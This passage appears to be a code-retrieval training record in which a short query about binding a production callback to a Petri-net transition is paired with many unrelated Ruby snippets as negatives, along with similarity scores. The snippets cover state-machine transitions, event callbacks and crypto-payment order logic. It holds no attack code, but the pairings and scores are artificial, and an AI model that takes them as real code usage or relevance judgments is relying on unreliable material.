Proposal.where(barclamp: \"crowbar\", name: inst).first\n add_role_to_instance_and_node(\"crowbar\", inst, name, db, crole, \"crowbar\")\n end\n\n roles = RoleObject.find_roles_by_search \"transitions:true AND (transition_list:all OR transition_list:#{ChefObject.chef_escape(state)})\"\n # Sort rules for transition order (deployer should be near the beginning if not first).\n roles.sort! do |x,y|\n xname = x.name.gsub(/-config-.*$/, \"\")\n yname = y.name.gsub(/-config-.*$/, \"\")\n\n xs = BarclampCatalog.run_order(xname)\n ys = BarclampCatalog.run_order(yname)\n xs <=> ys\n end\n\n roles.each do |role|\n role.override_attributes.each do |bc, data|\n rname = role.name.gsub(\"#{bc}-config-\",\"\")\n # Need a lock here, because if many nodes are discovered\n # simultaneously, adding them to a proposal can race,\n # leaving some nodes not present in proposals. e.g.:\n # NtpService::transition uses find_proposal and\n # later saves it with add_role_to_instance_and_node().\n # If this runs for two nodes at the same time, they both\n # find the proposal, then both modify it, then both save\n # it in lockstep. Naturally the second save clobbers\n # the first, so the first node won't be present in that\n # proposal.\n bc_lock = acquire_lock \"#{bc}:#{rname}\"\n begin\n Rails.logger.info(\"Crowbar transition: calling #{bc}:#{rname} for #{name} for #{state}\")\n service = ServiceObject.get_service(bc).new\n answer = service.transition(rname, name, state)\n if answer[0] != 200\n Rails.logger.error(\n \"Crowbar transition: finished #{bc}:#{rname} for #{name} for \" \\\n \"#{state}: FAILED #{answer[1]}\"\n )\n else\n Rails.logger.debug(\n \"Crowbar transition: finished #{bc}:#{rname} for #{name} for #{state}\"\n )\n unless answer[1][\"name\"].nil?\n name = answer[1][\"name\"]\n end\n end\n rescue StandardError => e\n Rails.logger.fatal(\"json/transition for #{bc}:#{rname} failed: #{e.message}\")\n Rails.logger.fatal(e.backtrace.join(\"\\n\"))\n return [500, \"#{bc} transition to #{rname} failed.\\n#{e.message}\\n#{e.backtrace.join(\"\\n\")}\"]\n ensure\n bc_lock.release\n end\n end\n end\n\n # We have a node that has become ready, test to see if there are queued proposals to commit\n process_queue if state == \"ready\"\n end\n\n Rails.logger.debug(\"Crowbar transition leaving: #{name} to #{state}\")\n [200, { name: name }]\n end", "def on(*args)\n @switch.on(*args)\n end", "def on(what, &block)\n @callback_map[what] = block\n end", "def transition_to(event)\n handle event\n @version = version.next\n end", "def transfer(node, ins) ; ins ; end", "def on_tcp_connection_failure(&block)\n define_callback :tcp_connection_failure, &block\n end", "def end_transition\n nil\n end", "def on_state_timeup(state_id)\n end", "def closure! \n cstart = new_state\n cend = new_state\n\n add_transition(cstart, cend, \"\")\n add_transition(cend, cstart, \"\")\n\n add_transition(cstart, @start, \"\")\n @final.keys.each { |key| add_transition(key, cend, \"\")}\n\n set_start(cstart)\n @final.keys.each { |key| set_final(key, false)}\n set_final(cend, true)\n\n\n end", "def disconnected_callback(callback, &block)\n\t\t\t@disconnected = callback || block\n\t\tend", "def transition(name, options = {}, result = nil, &body)\n \n transition = Restfulie::Server::Transition.new(name, options, result, body)\n transitions[name] = transition\n\n define_methods_for(self, name, result)\n controller_name = (self.name + \"Controller\")\n end", "def unicast_redirect_state\n super\n end", "def callback\n head :ok\n end", "def window_changed(state)\n $marathon.sleepForSlowPlay\n $marathon.windowChanged(state)\nend", "def closure!\ns0 = new_state\ns1 = new_state\nadd_transition(s0, @start, \"\")\n# reset the final states of the current object\nkeys = @final.keys\ni = 0\nwhile i < keys.size\nadd_transition(keys[i], s1, \"\")\nset_final(keys[i], false)\ni = i + 1\nend\nadd_transition(s0, s1, \"\")\nadd_transition(s1, s0, \"\")\nset_start(s0)\nset_final(s1, true)\nend", "def on_success(&block); end", "def args\n [object, transition]\n end", "def on_satellites_change(&block)\n\t\t\t@on_satellites_change = block\n\t\tend", "def state_transition_callback\n if status_changed?\n ScriptLog.info \"order callback: #{status_was} -> #{status}\"\n payout_address = nil\n payout_address = vendor.payout_btc_address if payment_method.is_bitcoin?\n payout_address = vendor.payout_ltc_address if payment_method.is_litecoin?\n\n payment_amount = payment_received\n if multipay_group\n # This order is a member of a multipay group. The requirements for being in a group is that the exact payment amount\n # was received for the set of orders. Therefore the amount paid to an order (either directly or indirectly) will always equal price.\n payment_amount = btc_price\n end\n\n commission_fraction = Rails.configuration.commission\n if vendor.commission\n # Vendor commission defaults to null. If it has been set, use that instead of system default.\n commission_fraction = vendor.commission\n end\n\n # Market changes state to finalized on \"finalize early\" orders so buyer doesn't need to. See FE doc above.\n if status_was == PAID && status == ACCEPTED && fe_required\n self.status = FINALIZED\n ScriptLog.info \"order callback: finalized early #{id}\"\n end\n\n if status_was == PAYMENT_PENDING && status == PAID_NO_STOCK\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAYMENT_PENDING && status == EXPIRED\n # Create a new OrderPayout even if no payment received.\n # Order may never receive any payment but doesn't hurt to have a OP created in case it does later.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAID && status == DECLINED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == SHIPPED && status == FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == SHIPPED && status == AUTO_FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n elsif (status_was == ACCEPTED || fe_required) && status == FINALIZED # buyer FE or this callback finalized.\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == REFUND_REQUESTED && status == REFUND_FINALIZED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * refund_requested_fraction, payout_type: 'buyer', user: buyer)\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n if refund_requested_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n elsif status == ADMIN_FINALIZED\n # refund amounts are final and cannot be adjusted because payout script may have already retrieved payouts since this was saved.\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * admin_finalized_refund_fraction, payout_type: 'buyer', user: buyer)\n if admin_finalized_refund_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n end\n end\n end", "def after_set_callback; end", "def transition_time\n end", "def can_walk_to?(transition); end", "def transition!(name, &block)\n options = @transitions[name]\n @style.animation = [options[:animation_name],\n options[:duration],\n options[:delay], 'both'].join(' ')\n @transition_callback = block\n end", "def listeners; end", "def at_cycle_begin(**options, &block)\n add_propagation_handler(**options.merge(type: :external_events), &block)\n end", "def post_connect_hooks; end", "def post_connect_hooks; end", "def callback( which, *args )\n block = instance_variable_get( \"@on_#{which.to_s}\" )\n block.call( *args ) if block\n end", "def connection_completed\n\tend", "def transition\n @transition ||= begin\n state_machine = MicroMachine.new( state || \"ready\" )\n\n state_machine.when(:start, \"ready\" => \"in_progress\")\n state_machine.when(:cancel, \"ready\" => \"cancelled\",\n \"in_progress\" => \"cancelled\")\n state_machine.when(:complete, \"in_progress\" => \"completed\")\n\n state_machine.on(:any) { self.state = transition.state }\n\n state_machine\n end\n end" ]
[ "0.7284752", "0.6683871", "0.64494836", "0.6408935", "0.63705444", "0.6321475", "0.6295704", "0.62897205", "0.6271549", "0.622259", "0.605585", "0.59906477", "0.597833", "0.597833", "0.59150565", "0.5865437", "0.58449554", "0.58449554", "0.5788951", "0.57620686", "0.5679535", "0.56436914", "0.56372726", "0.5615665", "0.56023216", "0.5575039", "0.5527772", "0.5508821", "0.54972476", "0.54908645", "0.54908645", "0.54626", "0.54578197", "0.54488045", "0.54443175", "0.5430736", "0.54092497", "0.54064655", "0.5401436", "0.53999203", "0.53936875", "0.5389174", "0.53810245", "0.53422636", "0.53017294", "0.5283539", "0.5283171", "0.528236", "0.52654845", "0.52625334", "0.5260109", "0.5251191", "0.5245889", "0.523476", "0.52323335", "0.52193713", "0.5210495", "0.51952446", "0.5186796", "0.518607", "0.5171086", "0.51709574", "0.5170607", "0.5169325", "0.5166771", "0.51667297", "0.5163354", "0.51622415", "0.51562685", "0.51562685", "0.5154625", "0.51368487", "0.51291144", "0.51240075", "0.51176345", "0.5116211", "0.51118326", "0.5109512", "0.51059455", "0.5105441", "0.5097701", "0.50974345", "0.5082753", "0.50777227", "0.50725645", "0.5070059", "0.5065293", "0.5053099", "0.5052869", "0.5050627", "0.50499964", "0.50388634", "0.5028821", "0.5024291", "0.50233054", "0.50206155", "0.50179756", "0.50179756", "0.5011149", "0.50110406", "0.50083447" ]
0.0
-1
Binds producing callback on a net transition
def produce(transition_identifier, &block) raise ArgumentError, 'No block given' unless block @production_callbacks[transition_by_identifier!(transition_identifier)] = block end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_transition(*args, &block); end", "def transition(&block)\n @transition_function = block\n end", "def callback\n\n end", "def callback\n end", "def communicate_transition(_ = nil, _ = nil); end", "def callbacks; end", "def callbacks; end", "def callback=(_arg0); end", "def transition(&block)\n @d = block\n end", "def callback\n\tend", "def communicate_transition(_ = nil, _ = nil, _ = nil); end", "def communicate_transition(_ = nil, _ = nil, _ = nil)\r\n end", "def callback(name)\n transition.send(\"do_#{name}\") || \"#{name}_#{previous}_to_#{current}\"\n end", "def transitions; end", "def on_connect(&callback)\n @connect_cb = callback\n end", "def on_state(state, &block)\n end", "def on_connection_success &block\n @connection_success_callback = block\n end", "def callback_method\n run(\"on\", \"string\", \"callback\")\n end", "def callback\n def_deferr = ::EventMachine::DefaultDeferrable.new\n proc_callback = Proc.new { |response| ::OnesnooperServer::Log.debug(\n \"[#{self.class.name}] Handled as: #{response}\"\n ) }\n\n def_deferr.callback &proc_callback\n def_deferr.errback &proc_callback\n\n def_deferr\n end", "def connect\n succeed # Triggers all callbacks for class\n end", "def listener=(_arg0); end", "def callback\n self.class.callback\n end", "def callback\n self.class.callback\n end", "def callback(&blk)\n @blk=blk\n end", "def listener; end", "def recv_callback\n @recv_callback ||= Proc.new {|message|}\n end", "def listen_to(io, &callback); end", "def call_transition_method(*args)\n unless [:logger, :command_listener].include?(agent_type)\n log do |msg|\n msg.add_record(agent_type, \"action\", \"transit\")\n msg.add_record(agent_type, \"state\", args.first)\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n end\n super\n end", "def received\n end", "def transition_at; end", "def transition_at; end", "def callback_type; end", "def handle_callback(hook, event, *data)\n to = machine.events_map.move_to(event.event_name, event.from, *data)\n trans_event = TransitionEvent.new(event.event_name, event.from, to)\n callable = create_callable(hook)\n\n if hook.is_a?(Async)\n defer(callable, trans_event, *data)\n else\n callable.(trans_event, *data)\n end\n end", "def bind\n \n end", "def on_open(&block)\n define_callback :connect, &block\n end", "def onNodeUp(&block)\n @onUpBlock = block\n end", "def listen(p0) end", "def listen(p0) end", "def listen(p0) end", "def post_init\n self.dispatch_event(:on_connect, [self])\n self.send_data(SyncMessage.new($listen_port, $uuid).to_sendable)\n end", "def on_connected\n end", "def on_state_begin(state_id)\n end", "def on(what, &block)\n @callback_map[what] = block\n end", "def on_connect(&callback)\n if block_given?\n @on_connect = callback\n elsif @on_connect\n @on_connect.call\n end\n end", "def message_callbacks\n @messagecbs\n end", "def on_invalid_transitions(transitions); end", "def interprete_callback event\n case event.utd\n when \"Ci\"\n interprete_callback_control_input event\n when \"Co\"\n interprete_callback_control_output event\n when \"Bi\"\n interprete_callback_bulk_input event\n when \"Bo\"\n interprete_callback_bulk_output event\n when \"Zi\", \"Zo\", \"Ii\", \"Io\"\n STDERR.puts \"*** Unhandled callback utd #{event.utd}\"\n else\n raise \"Unknown event type #{event.type.inspect}\"\n end\n @state = :idle\n end", "def callback &block\n super\n end", "def callback &block\n super\n end", "def closure! \n cstart = new_state\n cend = new_state\n\n add_transition(cstart, cend, \"\")\n add_transition(cend, cstart, \"\")\n\n add_transition(cstart, @start, \"\")\n @final.keys.each { |key| add_transition(key, cend, \"\")}\n\n set_start(cstart)\n @final.keys.each { |key| set_final(key, false)}\n set_final(cend, true)\n\n\n end", "def create_game_over_callable\n\t\tlambda do\n\t\t\t@window.state = @main\n\t\tend\n\tend", "def listeners; end", "def callback_phase\n super\n end", "def go callback\n loop do\n callback.call receive\n end\n end", "def on_307; on_330; end", "def callback( which, *args )\n block = instance_variable_get( \"@on_#{which.to_s}\" )\n block.call( *args ) if block\n end", "def callback\n @callback ||= :value.to_proc\n end", "def closure!\ns0 = new_state\ns1 = new_state\nadd_transition(s0, @start, \"\")\n# reset the final states of the current object\nkeys = @final.keys\ni = 0\nwhile i < keys.size\nadd_transition(keys[i], s1, \"\")\nset_final(keys[i], false)\ni = i + 1\nend\nadd_transition(s0, s1, \"\")\nadd_transition(s1, s0, \"\")\nset_start(s0)\nset_final(s1, true)\nend", "def transition(state, next_length)\n @logger.debug(\"Transitioning\", :transition => state, :nextlen => next_length)\n @state = state\n # TODO(sissel): Assert this self.respond_to?(state)\n # TODO(sissel): Assert next_length is a number\n need(next_length)\n end", "def on_success(&block); end", "def on(*args)\n @switch.on(*args)\n end", "def callback(&block)\n @callbacks << block\n end", "def on_process(&callback)\n @callback = callback\n end", "def transitions(object, action, options = T.unsafe(nil)); end", "def after_state(state)\n end", "def definecallback(&b)\r\n\t\t\t@callback = b\r\n\t\tend", "def message_received(&callback)\n @connectivity_checker.message_received(&callback)\n end", "def on(name, &block)\n define_sending_method(name)\n define_receiving_method(name, &block)\n end", "def at_cycle_begin(**options, &block)\n add_propagation_handler(**options.merge(type: :external_events), &block)\n end", "def definecallback(&b)\r\n\t$gamemode.definecallback(&b)\r\nend", "def on_trap &block\n @socket.callbacks << block\n end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def get_event_callback\n Proc.new do |new_packets, refCon_ptr, connRefCon_ptr|\n begin\n # p \"packets received: #{new_packets[:numPackets]}\"\n timestamp = Time.now.to_f\n messages = get_messages(new_packets)\n # SINM ADDED\n @queue.push(messages.map do |message|\n enqueue_message(message, timestamp)\n end.compact)\n # SINM COMMENTED OUT\n # messages.each { |message| enqueue_message(message, timestamp) }\n rescue Exception => exception\n Thread.main.raise(exception)\n end\n end\n end", "def state_added! statemachine\n transitions_changed!\n end", "def callback(name)\r\n target = _package_.callbacks[name]\r\n capture_block(target) { yield }\r\n end", "def on_transition_end(event)\n return unless @transitions\n options = @transitions[event.animationName.split('-').last]\n send options[:callback] if options &&\n options[:callback] &&\n respond_to?(options[:callback])\n @transition_callback.call if @transition_callback\n end", "def callback(&block)\n @callbacks ||= []\n @callbacks << block\n end", "def listening?; end", "def callback\n @on_declare\n end", "def stanza_callbacks\n @stanzacbs\n end", "def node_change(transition)\n\t\t@board[transition[1]] = @board[@player_play[0]]\n\t\t@board[transition[0]] = Node.new\n\t\tgame_conditions\n\tend", "def connection_completed\n\tend", "def state_transition_callback\n if status_changed?\n ScriptLog.info \"order callback: #{status_was} -> #{status}\"\n payout_address = nil\n payout_address = vendor.payout_btc_address if payment_method.is_bitcoin?\n payout_address = vendor.payout_ltc_address if payment_method.is_litecoin?\n\n payment_amount = payment_received\n if multipay_group\n # This order is a member of a multipay group. The requirements for being in a group is that the exact payment amount\n # was received for the set of orders. Therefore the amount paid to an order (either directly or indirectly) will always equal price.\n payment_amount = btc_price\n end\n\n commission_fraction = Rails.configuration.commission\n if vendor.commission\n # Vendor commission defaults to null. If it has been set, use that instead of system default.\n commission_fraction = vendor.commission\n end\n\n # Market changes state to finalized on \"finalize early\" orders so buyer doesn't need to. See FE doc above.\n if status_was == PAID && status == ACCEPTED && fe_required\n self.status = FINALIZED\n ScriptLog.info \"order callback: finalized early #{id}\"\n end\n\n if status_was == PAYMENT_PENDING && status == PAID_NO_STOCK\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAYMENT_PENDING && status == EXPIRED\n # Create a new OrderPayout even if no payment received.\n # Order may never receive any payment but doesn't hurt to have a OP created in case it does later.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAID && status == DECLINED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == SHIPPED && status == FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == SHIPPED && status == AUTO_FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n elsif (status_was == ACCEPTED || fe_required) && status == FINALIZED # buyer FE or this callback finalized.\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == REFUND_REQUESTED && status == REFUND_FINALIZED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * refund_requested_fraction, payout_type: 'buyer', user: buyer)\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n if refund_requested_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n elsif status == ADMIN_FINALIZED\n # refund amounts are final and cannot be adjusted because payout script may have already retrieved payouts since this was saved.\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * admin_finalized_refund_fraction, payout_type: 'buyer', user: buyer)\n if admin_finalized_refund_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n end\n end\n end", "def on(what, *, &block)\n if STATES.include?(what) || %w[success failure].include?(what) || Integer === what\n @callbacks[what] << block\n else\n super\n end\n end", "def trigger_callbacks_for(msg)\n case msg.message_type\n\n # ----- server messages\n when RPL_WELCOME\n notify :registered_with_server\n when CMD_PING\n notify :server_ping, msg.params[0] # server wants the params back\n when CMD_ERROR\n notify :server_error\n\n # ----- nick-related -----\n when CMD_NICK\n @state[:nick] = msg.params[0] if msg.prefix[:nick] == @state[:nick]\n threaded_notify :nick_changed, msg.prefix[:nick], msg.params[0]\n when ERR_NICKNAMEINUSE\n # nickname errors are deterministic, that is, the client keeps track of the \n # state of attempted nick changes in @state, and the server responds to them\n # in order, so no additional info needs to be sent in the callback.\n # (this is tested)\n notify :nick_in_use\n when ERR_ERRONEUSNICKNAME\n notify :nick_invalid\n\n # ----- channel-related -----\n when CMD_JOIN\n threaded_notify :joined_channel, msg.user, msg.params[0]\n when CMD_PART\n threaded_notify :left_channel, msg.user, msg.params[0], msg.params[1]\n when CMD_QUIT\n threaded_notify :quit_server, msg.user, msg.params[0]\n when RPL_TOPIC # negative indices handle rfc and non-rfc commands\n threaded_notify :topic_changed, msg.params[-2], msg.params[-1], nil\n when CMD_TOPIC\n threaded_notify :topic_changed, msg.params[0], msg.params[1], msg.user\n when RPL_NAMREPLY\n @state[:scratch] ||= {}\n @state[:scratch][msg.params[-2]] ||= []\n # strip out leading mode characters: @, +, ~, etc.\n @state[:scratch][msg.params[-2]] += msg.params[-1].split.map { |name| name.gsub(/^[^a-zA-Z\\[\\]\\\\`_\\^{}\\|]/,'') }\n when RPL_ENDOFNAMES\n if @state[:scratch]\n threaded_notify :channel_name_list, msg.params[-2], ( @state[:scratch][msg.params[-2]] || [] )\n @state[:scratch].delete(msg.params[-2])\n else\n threaded_notify :channel_name_list, []\n end\n \n # ----- messaging -----\n when CMD_PRIVMSG\n if private?(msg)\n threaded_notify :private_message, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_message, msg.params[0], msg.params[1], msg.user\n end\n when CMD_NOTICE\n if private?(msg)\n threaded_notify :private_notice, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_notice, msg.params[0], msg.params[1], msg.user\n end\n\n end\n end", "def event_bus; end", "def event_bus; end", "def send_events=(_arg0); end", "def after_set_callback; end", "def after\n each {|transition| transition.machine.write(object, :event_transition, transition)} if skip_after && success?\n super\n end", "def callback\n head :ok\n end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def events; end", "def listen\r\n end" ]
[ "0.70252395", "0.6532883", "0.6521935", "0.6481402", "0.6377995", "0.63317347", "0.63317347", "0.62993777", "0.6296244", "0.6258931", "0.6234788", "0.62274295", "0.6160906", "0.61542016", "0.6040022", "0.602157", "0.5934154", "0.5853432", "0.57377404", "0.573668", "0.56167865", "0.560943", "0.560943", "0.55989504", "0.5582413", "0.5571061", "0.5551609", "0.5548048", "0.5525084", "0.5519008", "0.5519008", "0.5513833", "0.5506507", "0.54981375", "0.5495175", "0.54794186", "0.54791", "0.54791", "0.54791", "0.5472723", "0.5472099", "0.54685336", "0.54560965", "0.5441842", "0.5428499", "0.54233116", "0.5410659", "0.5377664", "0.5377664", "0.5376189", "0.53556794", "0.53498226", "0.5345415", "0.53307337", "0.5326125", "0.53215545", "0.53139645", "0.5310974", "0.53020024", "0.5296748", "0.5288095", "0.5252086", "0.5250615", "0.52456653", "0.5239418", "0.5232864", "0.5224978", "0.52207965", "0.52184886", "0.52150154", "0.5212469", "0.5202602", "0.5202602", "0.5188398", "0.5178279", "0.5177039", "0.5175023", "0.5172942", "0.5162331", "0.51617044", "0.5159259", "0.51587695", "0.5153294", "0.51515824", "0.514786", "0.51390964", "0.5137516", "0.5137516", "0.5131151", "0.5127394", "0.5116431", "0.5115063", "0.5114483", "0.5114483", "0.5114483", "0.5114483", "0.5114483", "0.5114483", "0.5114483", "0.5114483", "0.5114045" ]
0.0
-1
Puts tokens in start places Executes automated actions if any enabled Fills out weights for futher usage
def init return if @initialized # Fill start places with tokens to let the process start put_token(start_place) start_place[:enabled] = true # Terminators are used to identify which transitions can be executed @terminators = {} @net.places.select(&:start?).each do |start_place| outgoing_transitions(start_place).each do |transition| (@terminators[transition] ||= []) << start_place end end # Without weights assigned transition execution path search won't work PetriTester::DistanceWeightIndexator.new(@net).reindex @initialized = true execute_automated! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_actions; end", "def start\n @actions << :start\n end", "def start\n assign_globals\n register_space\n start_message\n build_actions\n start_threads\n end", "def start_run; end", "def execute start\n # TODO: erase attributes once they're no longer needed\n # TODO: finalizers for attributes\n self.tsort.each do |action|\n arguments = action[:requires].map { |r| start[r] }\n provided = action[:block].call *arguments\n if action[:provide]\n start[action[:provide]] = provided\n end\n end\n return start\n end", "def start\n send_message('Hello! Welcome to Hedma store🥰')\n send_message('Which item do you want to buy, dear customer?')\n user.set_next_bot_command('pants')\n end", "def start(actions = [])\n\t\t\treturn unless actions.size > 0\n\t\t\tbegin\n\t\t\t\tactions.each do |action|\n\t\t\t\t\tbegin\n\t\t\t\t\t\tbreak if exec_action(action) == :break\n\t\t\t\t\trescue StandardError => e\n\t\t\t\t\t\tprint_error(e)\n\t\t\t\t\t\traise unless @options[:debug]\n\t\t\t\t\t\tdebug\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tensure\n\t\t\t\tstop\n\t\t\tend\n\t\tend", "def require_tokens\n @tokens_required = true\n end", "def starten\n create_fox_components\n instance_final_activate\n activate\n end", "def start(commands, runner)\n end", "def start &block\n @actions[:start] = block\n end", "def launch!\n\t\tintroduction\n\t\t\taction = nil\n\t\t\tuntil action == :quit\n\t\t\t# action loop\n\t\t\t# what do you want to do? (list, find, add, quit)\n\t\t\tprint \"> \"\n\t\t\tuser_response = gets.downcase.strip!.split(' ')\n\t\t\t# do that action\n\t\t\taction,args = do_action(user_response[0],user_response[1])\n\t\tend\n\t\tconclusion\n\tend", "def start\n\t\twhile true\n\t\t\tputs \"\\nWhat would you like to do?\\n Available commands: 'add', 'remove', 'print', 'exit'\"\n\t\t\taction = gets.chomp.downcase\n\t\t\tcase action\n\t\t\twhen 'add'\n\t\t\t\tadd\n\t\t\twhen 'remove'\n\t\t\t\tremove\n\t\t\twhen 'print'\n\t\t\t\tprint\n\t\t\twhen 'exit'\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend", "def intentions_for_next_step\n agent_action = AgentInternal::AgentActionIntention.new(@name, engine)\n super + [@agent_maintenance, agent_action]\n end", "def command_use_point\r\r\n if $game_actors[@actor.id].skill_tree[0] == 0 || confirm_skill_add\r\r\n Sound.play_buzzer\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n else\r\r\n @skills_icons[@skill_selected].opacity = 255\r\r\n $game_actors[@actor.id].skill_tree[0] -= 1\r\r\n $game_actors[@actor.id].lose_jp(Actor[@actor.id][@skill_selected]['JP'])\r\r\n $game_actors[@actor.id].skill_mult[Actor[@actor.id][@skill_selected]['Skill_id']] += Actor[@actor.id][@skill_selected]['Multiply']\r\r\n $game_actors[@actor.id].skill_tree[Actor[@actor.id][@skill_selected]['Skill_id']] += 1\r\r\n $game_actors[@actor.id].learn_skill(Actor[@actor.id][@skill_selected]['Skill_id'])\r\r\n @info_window.refresh(@actor, @tree)\r\r\n Audio.se_play(\"Audio/SE/Skill3\",75,100)\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n if $game_switches[19] # achievement available?\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Markspony\r\r\n #-------------------------------------------------------------------------------\r\r\n earn_trophic = true\r\r\n for i in 546..561\r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_markspony\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_markspony\r\r\n $ACH_markspony = true\r\r\n GameJolt.award_trophy(\"53491\")\r\r\n p sprintf(\"Achievement unlock - markspony\")\r\r\n $game_system.earn_achievement(:markspony)\r\r\n end\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Elementalist\r\r\n #------------------------------------------------------------------------------- \r\r\n earn_trophic = true\r\r\n for i in 563..582\r\r\n next if i == 567 || i == 571 || i == 577 || i == 581 \r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_elementalist\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_elementalist\r\r\n $ACH_elementalist = true\r\r\n GameJolt.award_trophy(\"53485\") \r\r\n p sprintf(\"Achievement unlock - elementalist\")\r\r\n $game_system.earn_achievement(:elementalist)\r\r\n end\r\r\n #---------------------------------------------------\r\r\n end\r\r\n end\r\r\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def start!(&block)\n init_handlers\n\n world.define(&block)\n world.spin!\n\n while command = interface.get_command(world.possible_commands)\n world.process command\n end\n end", "def tokens!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 59)\n\n type = TOKENS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 596:4: 'tokens' WS_LOOP '{'\n match(\"tokens\")\n ws_loop!\n match(?{)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 59)\n\n end", "def track_start(*actions)\n before_filter ActionTracker, only: actions\n end", "def command_start; end", "def command_start; end", "def command_start; end", "def start\n set_player_name\n deal_cards\n show_flop\n player_turn\n dealer_turn\n end", "def push_token(tk); end", "def start!\n return :running if has_valid_token?\n\n raise Slack::Web::Api::Error, \"Token not set!\"\n end", "def start\n prompt = '>'\n print prompt\n input = $stdin.gets.chomp.downcase\n keywords = [\"add\",\"info\",\"help\",\"list\",\"count\",\"play\",\"search\"]\n\n while input != 'exit'\n keyword = input.split[0]\n if keywords.include? keyword\n self.dj_manager.public_send(keyword, input.downcase.split)#Use keywords and public sends to not to use too many if\n #dj_manager.store_back\n else\n puts \"ERROR\"\n end\n print prompt\n input = $stdin.gets.chomp.downcase\n end\n puts \"save state and exit\"\n dj_manager.store_back #When exits, save the state\n end", "def starting; end", "def start\n put :start\n end", "def start\n ty_ammo_requirements_start\n ty_set_enemy_ammo\n end", "def setup\n to_delete = []\n @word_list.each do |word|\n\n # Run the word through the validator and return if it is valid or not\n status = validate_word(word)\n\n # If the words invalid add it to the list of words to delete.\n to_delete.push(word) if status\n end\n\n # Remove all the invalid words\n to_delete.each do |invalid_word|\n @word_list.delete(invalid_word)\n 